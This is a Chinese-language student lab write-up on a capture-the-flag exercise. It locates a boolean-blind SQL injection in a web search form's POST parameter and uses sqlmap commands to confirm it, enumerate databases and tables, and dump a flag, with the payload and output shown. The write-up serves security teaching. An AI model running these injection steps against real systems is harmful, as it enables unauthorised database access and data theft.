第(8)周-SQL注入与凭据访问-攻击-SQL 4
4/7/25About 1 min
[!QUESTION]
本实验旨在通过实践让学生掌握 SQL 注入攻击技术, 学生需通过访问一个存在 SQL 查询功能的 Web 界面, 分析并测试该界面的安全漏洞, 探索基础的 SQL 万能密码注入及绕过过滤关键字的可能性, 当无法直接通过常规方法获取数据时, 则需运用布尔盲注技术, 编写并执行 Python 脚本, 通过判断 SQL 语句执行成功与否的返回结果, 逐步推断并获取数据库中敏感信息 (如 flag) 的具体内容, 最终完成攻击目标.
1. 漏洞分析过程
1.1. 注入点定位
- 目标 URL: http://d395b0cd-d62e-404e-8649-85891f603d2a.1.2024.thudart.com/index.php
- 请求方式:
POST方法 - 注入参数:
search=answer - 响应特征: 使用
--not-string="再怎么找也找不到啦(✿◡‿◡)"参数标识错误响应特征
1.2. 漏洞验证
执行基础探测命令:
sqlmap --url="http://d395b0cd-d62e-404e-8649-85891f603d2a.1.2024.thudart.com/index.php" --method="POST" --data="search=answer" --level="5" --risk="3" --technique="B"确认存在布尔盲注漏洞:
---
Parameter: search (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: search=answer%' AND 6365=6365 AND 'sIqe%'='sIqe
---2. 数据提取过程
2.1. 数据库枚举
sqlmap [...] --dbs获取数据库列表:
information_schema
user_data2.2. 表结构探测
sqlmap [...] -D "user_data" --tables发现关键数据表:
+------+
| fff |
| info |
+------+2.3. 敏感数据提取
sqlmap [...] -D "user_data" -T "fff" --dump获取最终 flag:
+----+--------------------------------------+
| id | flag |
+----+--------------------------------------+
| 0 | 3c449e54-acb1-4f9b-b646-d034375c2e30 |
+----+--------------------------------------+